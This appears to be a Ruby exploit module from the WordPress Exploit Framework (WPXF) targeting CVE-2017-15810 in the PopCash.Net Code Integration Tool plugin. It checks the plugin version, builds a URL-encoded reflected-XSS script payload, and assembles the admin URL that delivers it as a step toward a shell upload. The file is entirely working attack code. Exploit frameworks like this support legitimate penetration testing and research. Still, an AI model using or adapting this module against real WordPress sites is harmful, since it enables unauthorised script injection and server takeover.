# frozen_string_literal: true

class Wpxf::Exploit::PopcashIntegrationXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'PopCash.Net Code Integration Tool < 1.1 Reflected XSS Shell Upload',
      author: [
        'Ricardo Sanchez', # Dislosure
        'rastating'        # WPXF module
      ],
      references: [
        ['CVE', '2017-15810'],
        ['WPVDB', '8936']
      ],
      date: 'Oct 12 2017'
    )
  end

  def check
    check_plugin_version_from_changelog('popcashnet-code-integration-tool', 'readme.txt', '1.1')
  end

  def xss_payload
    url_encode("\"><script>#{xss_ascii_encoded_include_script}</script><!--")
  end

  def url_with_xss
    "#{wordpress_url_admin_options}?page=popcash-net&tab=#{xss_payload}"
  end
end
